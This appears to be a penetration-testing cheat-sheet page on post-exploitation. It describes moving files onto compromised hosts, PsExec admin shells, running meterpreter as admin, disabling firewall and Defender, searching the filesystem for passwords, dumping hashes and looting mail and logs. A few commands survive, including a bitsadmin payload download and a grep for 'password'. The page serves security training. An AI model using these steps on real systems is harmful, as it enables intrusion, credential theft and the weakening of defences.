Post Exploitation
https://sushant747.gitbooks.io/
Post Exploit Enumeration
File Upload on linux systems via base64 encoding Converting a file to base64:
Once the file is converted to base64, you can just create a new file on the remote system and copy the base64 output of the above file into it. Next step would be to reverse the base64 to binary
You can also use the smbserver.py from Impacket’s repo to host a temporary smb server and fetch files in windows from remote smb servers using the net use command.
PSexec Shells of Remote Systems
Eg: Get cmd.exe shell of remote system with user administrator and password as admin@123
Powershell Sudo for Windows
There maybe times when you know the creds to admin, but will have a low privileged shell. Unlike Linux, we cannot sudo on windows machines. So, I wrote a simple powershell script for that which can run a separate file as admin. You can run a batch file to add a new superuser or just execute a meterpreter binary as admin. The below command is to be run in a powershell window:
If however you want to run the powershell from a cmd prompt, you can run store the above command in a xyz.ps1 file and run it in cmd as below:
Download files in Windows with
bitsadmin bitsadmin /transfer mydownloadjob /download /priority normal http:///xyz.exe C:\Users\%USERNAME%\AppData\local\temp\xyz.exe
Disable firewall/defender and enable RDP for all Sometimes you will have the admin creds and may require an RDP Session to find out what exactly is going on in the backend for post exploitation. Below commands will help you disable firewall and enable RDP over insecure connections
Print files with the line number where the string is found grep -rnw '/' -ie 'password' --color=always
Find files with SUID permission
Find files with open permissions
Find files with SUID permission for current user
Find files with writable permission for current user or current group
Find directories with writable permissions for current user or current group
In order to move horizontally on the network we need to know as much about the machine as possible. We need to loot it. These are some things that must be done on every compromised machine.
Tcp dump
Who else is connected to the machine?
Dump the hashes
It is always good to have a list of all the hashes and crack them. Maybe someone is reusing the password.
To what is the machine connected?
netstat
ipconfig
Email and personal files
Logs
Last updated